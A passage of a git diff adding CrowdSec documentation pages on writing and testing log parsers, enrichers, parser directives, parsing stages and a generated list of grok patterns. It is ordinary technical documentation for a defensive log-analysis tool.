useless in its current state. +Further inspection can be seen with `cscli hubtest explain` : + +```bash +▶ cscli hubtest explain myservice-logs +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + └ s01-parse + └ 🟢 crowdsecurity/myservice-logs + +line: Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + └ s01-parse + └ 🟢 crowdsecurity/myservice-logs + +line: Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + └ s01-parse + └ 🟢 crowdsecurity/myservice-logs + +``` + +We can see that our log lines were successfully parsed by both syslog-logs and myservice-logs parsers. + +## Parser creation : actual parser + +Let's modify our parser, `./parsers/s01-parse/crowdsecurity/myservice-logs.yaml` : + +```yaml +onsuccess: next_stage +filter: "evt.Parsed.program == 'myservice'" +name: crowdsecurity/myservice-logs +description: "Parse myservice logs" +#for clarity, we create our pattern syntax beforehand +pattern_syntax: + MYSERVICE_BADPASSWORD: bad password for user '%{USERNAME:user}' from '%{IP:source_ip}' #[1] + MYSERVICE_BADUSER: unknown user '%{USERNAME:user}' from '%{IP:source_ip}' #[1] +nodes: + #and we use them to parse our two type of logs + - grok: + name: "MYSERVICE_BADPASSWORD" #[2] + apply_on: message + statics: + - meta: log_type #[3] + value: myservice_failed_auth + - meta: log_subtype + value: myservice_bad_password + - grok: + name: "MYSERVICE_BADUSER" #[2] + apply_on: message + statics: + - meta: log_type #[3] + value: myservice_failed_auth + - meta: log_subtype + value: myservice_bad_user +statics: + - meta: service #[3] + value: myservice + - meta: username + expression: evt.Parsed.user + - meta: source_ip #[1] + expression: "evt.Parsed.source_ip" +``` + +Various changes have been made here : + +- We created to patterns to capture the two relevant type of log lines, Using an [online grok debugger](https://grokdebug.herokuapp.com/) or an [online regex debugger](https://www.debuggex.com/) [2] + ) +- We keep track of the username and the source_ip (Please note that setting the source_ip in `evt.Meta.source_ip` and `evt.Parsed.source_ip` is important [1]) +- We setup various [statics](/log_processor/parsers/format.md#statics) information to classify the log type [3] + +Let's run out tests again : + +```bash {13-20} +▶ cscli hubtest run myservice-logs +INFO[01-10-2021 12:49:56 PM] Running test 'myservice-logs' +WARN[01-10-2021 12:49:59 PM] Assert file '/home/dev/github/hub/.tests/myservice-logs/parser.assert' is empty, generating assertion: + +len(results) == 2 +len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 +results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true +... +len(results["s01-parse"]["crowdsecurity/myservice-logs"]) == 3 +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Success == true +... +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["timestamp"] == "Dec 8 06:28:43" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["program"] == "myservice" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["source_ip"] == "192.168.1.1" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["user"] == "toto" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["log_subtype"] == "myservice_bad_password" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["log_type"] == "myservice_failed_auth" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["service"] == "myservice" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["source_ip"] == "192.168.1.1" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["username"] == "toto" +... +results["s01-parse"]["crowdsecurity/myservice-logs"][1].Evt.Meta["log_subtype"] == "myservice_bad_user" +results["s01-parse"]["crowdsecurity/myservice-logs"][2].Success == false + + +Please fill your assert file(s) for test 'myservice-logs', exiting + +``` + +We can see that our parser captured all the relevant information, and it should be enough to create scenarios further down the line. + +Again, further inspection with `cscli hubtest explain` will show us more about what happened : + +```bash +▶ cscli hubtest explain myservice-logs +line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + └ s01-parse + └ 🟢 crowdsecurity/myservice-logs + +line: Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + └ s01-parse + └ 🟢 crowdsecurity/myservice-logs + +line: Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 'toto' from '192.168.1.1' + ├ s00-raw + | └ 🟢 crowdsecurity/syslog-logs + └ s01-parse + └ 🔴 crowdsecurity/myservice-logs +``` + +**note: we can see that our log line `accepted connection for user 'toto' from '192.168.1.1'` wasn't parsed by `crowdsecurity/myservice-logs` as we have no pattern for it** + +## Closing word + +We have now a fully functional parser for myservice logs ! +We can either deploy it to our production systems to do stuff, or even better, contribute to the hub ! + +If you want to know more about directives and possibilities, take a look at [the parser reference documentation](/log_processor/parsers/format.md) ! + +See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic. + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/enricher.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/enricher.md new file mode 100644 index 000000000..f9d433212 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/enricher.md @@ -0,0 +1,71 @@ +--- +id: enricher +title: Enrichers +sidebar_position: 4 +--- + + +# Enrichers + +Enrichers are [parsers](/log_processor/parsers/introduction.mdx) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` [stage](/log_processor/parsers/introduction.mdx#stages) (after most of the parsing happened). + +Enrichers functions should all accept a string as a parameter, and return an associative string array, that will be automatically merged into the `Enriched` map of the [`Event`](/expr/event.md). + +:::warning + +At the time of writing, enrichers plugin mechanism implementation is still ongoing (read: the list of available enrichment methods is currently hardcoded). + +::: + +As an example let's look into the geoip-enrich parser/enricher : + +It relies on [the geolite2 data created by maxmind](https://www.maxmind.com) and the [geoip2 golang module](https://github.com/oschwald/geoip2-golang) to provide the actual data. + + +It exposes a few methods : `GeoIpCity` `GeoIpASN` and `IpToRange` that are used by the postoverflow `crowdsecurity/rdns` and the parsers `crowdsecurity/geoip-enrich` and `crowdsecurity/dateparse-enrich`. +Enrichers can be installed as any other parsers with the following command: + +``` +sudo cscli parsers install crowdsecurity/geoip-enrich +``` + +#### GeoIpCity + +This method uses an Ip as an input, and tries to give information on +this IP on return. It requires the maxmind database to be installed, +which is done at the parser `crowdsecurity/geoip-enrich` installation. +It will fill the fields `Enriched.Isocode` with county ISO code and +`Enriched.IsInEU` with the string `true` of `false`. It fills also +`Enriched.Latitude` and `Enriched.Longitude` with the latitude and +longitude. + +#### GeoIpASN + +This method uses an Ip as an input, and tries to give information on +this IP on return. It requires the maxmind database to be installed, +which is done at the parser `crowdsecurity/geoip-enrich` installation. +This method fill the fields `Enriched.ASNNUMBER` and +`Enriched.ASNumber` with the AS Number and `Enriched.ASNOrg` with the +AS organiszation name + +#### IpToRange + +This method uses an Ip as an input, and tries to corresponding +registered range on return. It requires the maxmind database to be +installed, which is done at the parser `crowdsecurity/geoip-enrich` +installation. The field `Enriched.SourceRange` is filled with the +source range information. + +#### reverse_dns + +This methode uses an Ip as an input, and give the result of the +reverse dns lookup. It fills the field `Enriched.reverse_dns` with the +reverse dns information. + +#### ParseDate + +This method uses a date string as an input and tries to understand the +date. This is used by the `crowdsecurity/dateparse-enrich` enricher to +make crowdsec understand when the event took place. In case the date +is not understood by crowdsec, the timestamp used is the time when the +parsing is taking place. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md new file mode 100644 index 000000000..f81ace5e5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md @@ -0,0 +1,514 @@ +--- +id: format +title: Format +sidebar_position: 2 +--- + +## Parser configuration example + +A parser might look like: + +```yaml +onsuccess: next_stage +debug: true +filter: "evt.Parsed.program == 'kernel'" +name: crowdsecurity/demo-iptables +description: "Parse iptables drop logs" +pattern_syntax: + MYCAP: ".*" +grok: + pattern: ^xxheader %{MYCAP:extracted_value} trailing stuff$ + apply_on: evt.Parsed.some_field +statics: + - parsed: something + expression: JsonExtract(evt.Event.extracted_value, "nested.an_array[0]") + - meta: log_type + value: parsed_testlog + - meta: source_ip + expression: "evt.Parsed.src_ip" +``` + +The parser nodes are processed sequentially based on the alphabetical order of [stages](/log_processor/parsers/introduction.mdx#stages) and subsequent files. +If the node is considered successful (grok is present and returned data or no grok is present) and "onsuccess" equals to `next_stage`, then the event is moved to the next stage. + +## Parser trees + +A parser node can contain sub-nodes, to provide proper branching (on top of stages). +It can be useful when you want to apply different parsing based on different criterias, or when you have a set of candidates parsers that you want to apply to an event : + +```yaml +#This first node will capture/extract some value +filter: "evt.Line.Labels.type == 'type1'" +name: tests/base-grok-root +pattern_syntax: + MYCAP: ".*" +grok: + pattern: ^... %{MYCAP:extracted_value} ...$ + apply_on: Line.Raw +statics: + - meta: state + value: root-done + - meta: state_sub + expression: evt.Parsed.extracted_value +--- +#and this node will apply different patterns to it +filter: "evt.Line.Labels.type == 'type1' && evt.Meta.state == 'root-done'" +name: tests/base-grok-leafs +onsuccess: next_stage +#the sub-nodes will process the result of the master node +nodes: + - filter: "evt.Parsed.extracted_value == 'VALUE1'" + debug: true + statics: + - meta: final_state + value: leaf1 + - filter: "evt.Parsed.extracted_value == 'VALUE2'" + debug: true + statics: + - meta: final_state + value: leaf2 +``` + +The `tests/base-grok-root` node will be processed first and will alter the event (here mostly by extracting some text from the `Line.Raw` field into `Parsed` thanks to the `grok` pattern and the `statics` directive). + +The event will then be parsed by the the following `tests/base-grok-leafs` node. +This node has `onsuccess` set to `next_stage` which means that if the node is successful, the event will be moved to the next stage. + +A real-life example can be seen when it comes to parsing HTTP logs. +HTTP ACCESS and ERROR logs often have different formats, and thus our "nginx" parser needs to handle both formats +
+ Nginx parser + +```yaml +filter: "evt.Parsed.program == 'nginx'" +onsuccess: next_stage +name: crowdsecurity/nginx-logs +nodes: + - grok: + #this is the access log + name: NGINXACCESS + apply_on: message + statics: + - meta: log_type + value: http_access-log + - target: evt.StrTime + expression: evt.Parsed.time_local + - grok: + # and this one the error log + name: NGINXERROR + apply_on: message + statics: + - meta: log_type + value: http_error-log + - target: evt.StrTime + expression: evt.Parsed.time +# these ones apply for both grok patterns +statics: + - meta: service + value: http + - meta: source_ip + expression: "evt.Parsed.remote_addr" + - meta: http_status + expression: "evt.Parsed.status" + - meta: http_path + expression: "evt.Parsed.request" +``` +
+ +## Parser directives + +### `debug` + +```yaml +debug: true|false +``` +_default: false_ + +If set to to `true`, enabled node level debugging. +It is meant to help understanding parser node behavior by providing contextual logging : + +
+ assignments made by statics + +```bash +DEBU[31-07-2020 16:36:28] + Processing 4 statics id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Meta[service] = 'http' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Meta[source_ip] = '127.0.0.1' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Meta[http_status] = '200' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Meta[http_path] = '/' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +``` +
+ + +
+ assignments made by grok pattern + +``` +DEBU[31-07-2020 16:36:28] + Grok 'NGINXACCESS' returned 10 entries to merge in Parsed id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Parsed['time_local'] = '21/Jul/2020:16:13:05 +0200' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Parsed['method'] = 'GET' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Parsed['request'] = '/' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Parsed['http_user_agent'] = 'curl/7.58.0' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] .Parsed['remote_addr'] = '127.0.0.1' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse +``` +
+ +
+ debug of filters and expression results + +``` +DEBU[31-07-2020 16:36:28] eval(evt.Parsed.program == 'nginx') = TRUE id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] eval variables: id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +DEBU[31-07-2020 16:36:28] evt.Parsed.program = 'nginx' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse +``` +
+ +----- + +### `filter` + +```yaml +filter: expression +``` + +`filter` must be a valid [expr](/expr/intro.md) expression that will be evaluated against the [event](/expr/event.md). + +If `filter` evaluation returns true or is absent, node will be processed. + +If `filter` returns `false` or a non-boolean, node won't be processed. + +Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). + +Examples : + + - `filter: "evt.Meta.foo == 'test'"` + - `filter: "evt.Meta.bar == 'test' && evt.Meta.foo == 'test2'` + +----- + +### `grok` + +#### `pattern` + +A valid grok pattern + +#### `expression` + +A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. + +#### `apply_on` + +The field from `evt.Parsed` to apply the pattern on. For example if you want to apply the event to `evt.Parsed.message` you would set `apply_on: message`. + +#### Examples + +```yaml +grok: + name: NAMED_EXISTING_PATTERN + apply_on: source_field +``` + +```yaml +grok: + pattern: ^a valid RE2 expression with %{CAPTURE:field}$ + expression: JsonExtract(evt.Line.Raw, "field.example") +``` + +```yaml +grok: + pattern: ^a valid RE2 expression with %{CAPTURE:field}$ + apply_on: source_field +``` + +The `grok` structure in a node represent a regular expression with capture group (grok pattern) that must be applied on a field of event. + +The pattern can : + + - be imported by name (if present within the core of CrowdSec) + - defined in place + +In both case, the pattern must be a valid RE2 expression. +The field(s) returned by the regular expression are going to be merged into the `Parsed` associative array of the `Event`. + + +----- + +### `name` + +```yaml +name: explicit_string +``` + +The *mandatory* name of the node. If not present, node will be skipped at runtime. +It is used for example in debug log to help you track things. + +----- + +### `format` + +```yaml +name: explicit_string +``` + +Optional version which defines the parser version document used to +write the parser. The default version is 1.0. Versions `2.0` and +onward will end in a crowdsec minimum requirement version to use the +parser definition. For example, parsers that use the conditional +feature will have to put `2.0` in order to get at least crowdsec 1.5.0 + +----- + +### `nodes` + +```yaml +nodes: + - filter: ... + grok: ... +``` + +`nodes` is a list of parser nodes, allowing you to build trees. +Each subnode must be valid, and if any of the subnodes succeed, the whole node is considered successful. + +----- + +### `onsuccess` + +```yaml +onsuccess: next_stage|continue +``` + +_default: continue_ + +if set to `next_stage` and the node is considered successful, the event will be moved directly to the next stage without processing other nodes in the current stage. + +:::info + +if it's a parser tree, and a "leaf" node succeeds, it is the parent's "onsuccess" that is evaluated. + +::: + +----- + +### `pattern_syntax` + +```yaml +pattern_syntax: + CAPTURE_NAME: VALID_RE2_EXPRESSION +``` + +`pattern_syntax` allows user to define named capture group expressions for future use in grok patterns. +Regexp must be a valid RE2 expression. + +```yaml +pattern_syntax: + MYCAP: ".*" +grok: + pattern: ^xxheader %{MYCAP:extracted_value} trailing stuff$ + apply_on: Line.Raw +``` + +----- + +### `statics` + +`statics` is a list of directives that will be evaluated when the node is considered successful. +Each entry of the list is composed of a `target` (where to write) and a `source` (what data to write). + +#### `target` + +The target can be defined by pointing directly a key in a dictionary (`Parsed`, `Enriched` or `Meta`), or by providing direct a `target` expression : + +```yaml +meta: target_field +``` + +> `meta: source_ip` will set the value in `evt.Meta.source_ip` + +```yaml +parsed: target_field +``` + +> `parsed: remote_addr` will set the value in `evt.Parsed.remote_addr` + +```yaml +enriched: target_field +``` + +> `enriched: extra_info` will set the value in `evt.Enriched.extra_info` + +```yaml +target: evt.Parsed.foobar +``` + +> `target: evt.Meta.foobar` will set the value in the `Meta[foobar]` entry + +```yaml +method: GeoCoords +``` + +> `method: GeoIPCity` will will use the GeoIPCity to populate some fields in the `Enriched` entry. See (Enrichers|parsers/enricher.md) for more information + +#### `source` + +```yaml +value: +``` + +A static value. + +```yaml +expression: +``` + +A valid [`expr`](https://github.com/antonmedv/expr) expression to eval. +The result of the evaluation will be set in the target field. + +#### Example + +```yaml +statics: + - target: evt.Meta.target_field + value: static_value + - meta: target_field + expression: evt.Meta.target_field + ' this_is' + ' a dynamic expression' + - enriched: target_field + value: static_value +``` + +```yaml +statics: + - meta: target_field + value: static_value + - meta: target_field + expression: evt.Meta.another_field + - meta: target_field + expression: evt.Meta.target_field + ' this_is' + ' a dynamic expression' +``` + +----- + +### `data` + +```yaml +data: + - source_url: https://URL/TO/FILE + dest_file: LOCAL_FILENAME + type: (regexp|string) +``` + +`data` allows user to specify an external source of data. +This section is only relevant when `cscli` is used to install parser from hub, as it will download the `source_url` and store it to `dest_file`. When the parser is not installed from the hub, CrowdSec won't download the URL, but the file must exist for the parser to be loaded correctly. + +The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. +The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. +Without specifying a `type`, the file will be downloaded and stored as file and not in memory. + +You can refer to the content of the downloaded file(s) by using either the `File()` or `RegexpInFile()` function in an expression: + +```yaml +filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.request contains #})' +``` + + +#### Example + +```yaml +name: crowdsecurity/cdn-whitelist +... +data: + - source_url: https://www.cloudflare.com/ips-v4 + dest_file: cloudflare_ips.txt + type: string +``` + +#### Caching feature + +Since 1.5, it is possible to configure additional cache for `RegexpInFile()` : + + - input data (hashed with [xxhash](https://github.com/cespare/xxhash)) + - associated result (true or false) + +[Cache behavior](https://pkg.go.dev/github.com/bluele/gcache) can be configured: + - strategy: LRU, LFU or ARC + - size: maximum size of cache + - ttl: expiration of elements + - cache: boolean (true by default if one of the fields is set) + +This is typically useful for scenarios that needs to check on a lot of regexps. + +Example configuration: + +```yaml +type: leaky +#... +data: + - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.regex.txt + dest_file: bad_user_agents.regex.txt + type: regexp + strategy: LRU + size: 40 + ttl: 5s +``` + +----- + +### `stash` + +The **stash** section allows a parser to capture data, that can be later accessed/populated via `GetFromStash` and `SetInStash` expr helpers. +Each list item defines a capture directive that is stored in a separate cache (string:string), with its own maximum size, eviction rules etc. + +#### `name` + +The name of the stash. Distinct parsers can manipulate the same cache. + +#### `key` + +The [expression](/expr/intro.md) that defines the string that will be used as a key. + +#### `value` + +The [expression](/expr/intro.md) that defines the string that will be used as a value. + +#### `ttl` + +The time to leave of items. Default strategy is LRU. + +#### `size` + +The maximum size of the cache. + +#### `strategy` + +The caching strategy to be used : LFU, LRU or ARC (see [gcache doc for details](https://pkg.go.dev/github.com/bluele/gcache)). +Defaults to LRU. + +#### Examples + +```yaml +stash: + - name: test_program_pid_assoc + key: evt.Parsed.pid + value: evt.Parsed.program + ttl: 30s + size: 10 +``` + +This will build and maintain a cache of at most 10 concurrent items that will capture the association `evt.Parsed.pid` -> `evt.Parsed.program`. The cache can then be used to enrich other items: + +```yaml +statics: + - meta: associated_prog_name + expression: GetFromStash("test_program_pid_assoc", evt.Parsed.pid) +``` + +## Notes + +A parser is considered "successful" if : + + - A grok pattern was present and successfully matched + - No grok pattern was present + + +### Patterns documentation + +You can find [exhaustive patterns documentation here](/log_processor/parsers/patterns-documentation.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/introduction.mdx new file mode 100644 index 000000000..46abea8bd --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/introduction.mdx @@ -0,0 +1,86 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +import useBaseUrl from '@docusaurus/useBaseUrl'; + + +## Parser + + +A parser is a YAML configuration file that describes how a string must be parsed. Said string can be a log line, or a field extracted from a previous parser. + +While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also use [expressions](/expr/intro.md) to perform parsing on specific data (ie. json), [refer to external methods for enrichment](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or even [perform whitelisting](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists.md). + +The [event](/expr/event.md) enters the parser, and might exit successfully or not: + + +
+
+ +
+
+ + +## Stages + +Parsers are organized into stages to allow pipelines and branching in parsing. An event can go to the next stage if at least one parser in the given stage parsed it successfully while having `onsuccess` set to `next_stage`. Otherwise, the event is considered unparsed and will exit the pipeline (and be discarded): + +
+
+ +
+
+ +The parsing pipeline is broken down into multiple stages: + +- `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. +- `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](log_processor/scenarios/introduction.mdx). +- `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc. + +### `s00-raw` + +This stage is responsible for normalizing logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. + +For example if you have a `syslog` Data Source and a `container` Data Source writing the same application log lines you wouldnt want `s01-parse` to handle this logic twice, since `s00-raw` can normalize the logs into a predictable format. + +For most instances we have already created these `s00-raw` parsers for you are available to view on the [Hub](https://hub.crowdsec.net/). + +### `s01-parse` + +The stage is responsible for extracting relevant information from the normalized logs based on the application type. + +The application type is defined in different ways based on the Data Source. Please refer to the [Data Sources](log_processor/data_sources/introduction.md) documentation for more information. + +We list all available applications we support on the [Hub](https://hub.crowdsec.net/) and within the readme of the collection our users provide an example Acquisition configuration. + +### `s02-enrich` + +The aim of this stage is to enrich the extracted information with additional context such as GEOIP, ASN etc. + +However, the stage can also be used to perform whitelist checks, however, we have dedicated documentation for this [here](log_processor/whitelist/introduction.md). + +Currently we have a few enrichers available on the [Hub](https://hub.crowdsec.net/), that are installed by default so you dont need to worry about this stage unless you want to create your own. + +## Postoverflows + +Once a scenario overflows, the resulting event is going to be processed by a distinct set of parsers, called "postoverflows". + +Those parsers are located in `/etc/crowdsec/postoverflows/` and typically contain additional whitelists, a [common example is to whitelist decisions coming from some specific FQDN](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors). + +Usually, those parsers should be kept for "expensive" parsers that might rely on external services. + +---- + + + +See the [Hub](https://app.crowdsec.net/hub/configurations) to explore parsers, or see below some examples: + + - [apache2 access/error log parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/apache2-logs) + - [iptables logs parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/iptables-logs) + - [http logs post-processing](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/http-logs) + +The parsers usually reside in `/etc/crowdsec/parsers//`. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/patterns-documentation.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/patterns-documentation.md new file mode 100644 index 000000000..932a8ace2 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/patterns-documentation.md @@ -0,0 +1,2795 @@ +--- +id: patterns +title: Default patterns +sidebar_position: 10 +--- + + +# Patterns documentation + +You will find here a generated documentation of all the patterns loaded by crowdsec. +They are sorted by pattern length, and are meant to be used in parsers, in the form `%{PATTERN_NAME}`. + + +## MONGO3_SEVERITY + +Pattern : +``` +\w +``` + +## GREEDYDATA + +Pattern : +``` +.* +``` + +## RAIL_ACTION + +Pattern : +``` +\w+ +``` + +## NOTSPACE + +Pattern : +``` +\S+ +``` + +## SPACE + +Pattern : +``` +\s* +``` + +## DATA + +Pattern : +``` +.*? +``` + +## JAVALOGMESSAGE + +Pattern : +``` +(.*) +``` + +## NOTDQUOTE + +Pattern : +``` +[^"]* +``` + +## DAY2 + +Pattern : +``` +\d{2} +``` + +## RAILS_CONSTROLLER + +Pattern : +``` +[^#]+ +``` + +## RUUID + +Pattern : +``` +\s{32} +``` + +## SYSLOG5424PRINTASCII + +Pattern : +``` +[!-~]+ +``` + +## BACULA_JOB + +Pattern : +``` +%{USER} +``` + +## BACULA_VERSION + +Pattern : +``` +%{USER} +``` + +## CRON_ACTION + +Pattern : +``` +[A-Z ]+ +``` + +## BACULA_DEVICE + +Pattern : +``` +%{USER} +``` + +## WORD + +Pattern : +``` +\b\w+\b +``` + +## BACULA_VOLUME + +Pattern : +``` +%{USER} +``` + +## TZ + +Pattern : +``` +[A-Z]{3} +``` + +## MONGO3_COMPONENT + +Pattern : +``` +%{WORD}|- +``` + +## NUMTZ + +Pattern : +``` +[+-]\d{4} +``` + +## MINUTE + +Pattern : +``` +[0-5][0-9] +``` + +## NAGIOS_TYPE_HOST_ALERT + +Pattern : +``` +HOST ALERT +``` + +## NONNEGINT + +Pattern : +``` +\b[0-9]+\b +``` + +## MONGO_WORDDASH + +Pattern : +``` +\b[\w-]+\b +``` + +## USER + +Pattern : +``` +%{USERNAME} +``` + +## BACULA_DEVICEPATH + +Pattern : +``` +%{UNIXPATH} +``` + +## REDISLOG1 + +Pattern : +``` +%{REDISLOG} +``` + +## SYSLOGHOST + +Pattern : +``` +%{IPORHOST} +``` + +## SYSLOG5424SD + +Pattern : +``` +\[%{DATA}\]+ +``` + +## NUMBER + +Pattern : +``` +%{BASE10NUM} +``` + +## ISO8601_SECOND + +Pattern : +``` +%{SECOND}|60 +``` + +## MONTHNUM2 + +Pattern : +``` +0[1-9]|1[0-2] +``` + +## NGUSER + +Pattern : +``` +%{NGUSERNAME} +``` + +## EXIM_PID + +Pattern : +``` +\[%{POSINT}\] +``` + +## YEAR + +Pattern : +``` +(?:\d\d){1,2} +``` + +## BACULA_HOST + +Pattern : +``` +[a-zA-Z0-9-]+ +``` + +## NAGIOS_TYPE_SERVICE_ALERT + +Pattern : +``` +SERVICE ALERT +``` + +## MONTHNUM + +Pattern : +``` +0?[1-9]|1[0-2] +``` + +## CISCO_XLATE_TYPE + +Pattern : +``` +static|dynamic +``` + +## RAILS_CONTEXT + +Pattern : +``` +(?:%{DATA}\n)* +``` + +## BACULA_LOG_ENDPRUNE + +Pattern : +``` +End auto prune. +``` + +## USERNAME + +Pattern : +``` +[a-zA-Z0-9._-]+ +``` + +## POSINT + +Pattern : +``` +\b[1-9][0-9]*\b +``` + +## QS + +Pattern : +``` +%{QUOTEDSTRING} +``` + +## MODSECRULEVERS + +Pattern : +``` +\[ver "[^"]+"\] +``` + +## INT + +Pattern : +``` +[+-]?(?:[0-9]+) +``` + +## IP + +Pattern : +``` +%{IPV6}|%{IPV4} +``` + +## NAGIOS_EC_ENABLE_SVC_CHECK + +Pattern : +``` +ENABLE_SVC_CHECK +``` + +## NAGIOS_TYPE_EXTERNAL_COMMAND + +Pattern : +``` +EXTERNAL COMMAND +``` + +## NAGIOS_EC_ENABLE_HOST_CHECK + +Pattern : +``` +ENABLE_HOST_CHECK +``` + +## NAGIOS_TYPE_HOST_NOTIFICATION + +Pattern : +``` +HOST NOTIFICATION +``` + +## NAGIOS_EC_DISABLE_SVC_CHECK + +Pattern : +``` +DISABLE_SVC_CHECK +``` + +## IPORHOST + +Pattern : +``` +%{IP}|%{HOSTNAME} +``` + +## DATESTAMP + +Pattern : +``` +%{DATE}[- ]%{TIME} +``` + +## NAGIOS_EC_DISABLE_HOST_CHECK + +Pattern : +``` +DISABLE_HOST_CHECK +``` + +## NAGIOS_TYPE_HOST_EVENT_HANDLER + +Pattern : +``` +HOST EVENT HANDLER +``` + +## NAGIOS_TYPE_CURRENT_HOST_STATE + +Pattern : +``` +CURRENT HOST STATE +``` + +## NAGIOS_TYPE_PASSIVE_HOST_CHECK + +Pattern : +``` +PASSIVE HOST CHECK +``` + +## HOUR + +Pattern : +``` +2[0123]|[01]?[0-9] +``` + +## NAGIOS_TYPE_HOST_FLAPPING_ALERT + +Pattern : +``` +HOST FLAPPING ALERT +``` + +## NGUSERNAME + +Pattern : +``` +[a-zA-Z\.\@\-\+_%]+ +``` + +## NAGIOS_TYPE_HOST_DOWNTIME_ALERT + +Pattern : +``` +HOST DOWNTIME ALERT +``` + +## BACULA_LOG_BEGIN_PRUNE_FILES + +Pattern : +``` +Begin pruning Files. +``` + +## NAGIOS_TYPE_SERVICE_NOTIFICATION + +Pattern : +``` +SERVICE NOTIFICATION +``` + +## JAVAFILE + +Pattern : +``` +(?:[A-Za-z0-9_. -]+) +``` + +## HOSTPORT + +Pattern : +``` +%{IPORHOST}:%{POSINT} +``` + +## NAGIOS_TYPE_CURRENT_SERVICE_STATE + +Pattern : +``` +CURRENT SERVICE STATE +``` + +## NAGIOS_TYPE_PASSIVE_SERVICE_CHECK + +Pattern : +``` +PASSIVE SERVICE CHECK +``` + +## NAGIOS_TYPE_SERVICE_EVENT_HANDLER + +Pattern : +``` +SERVICE EVENT HANDLER +``` + +## NAGIOS_TYPE_TIMEPERIOD_TRANSITION + +Pattern : +``` +TIMEPERIOD TRANSITION +``` + +## EXIM_FLAGS + +Pattern : +``` 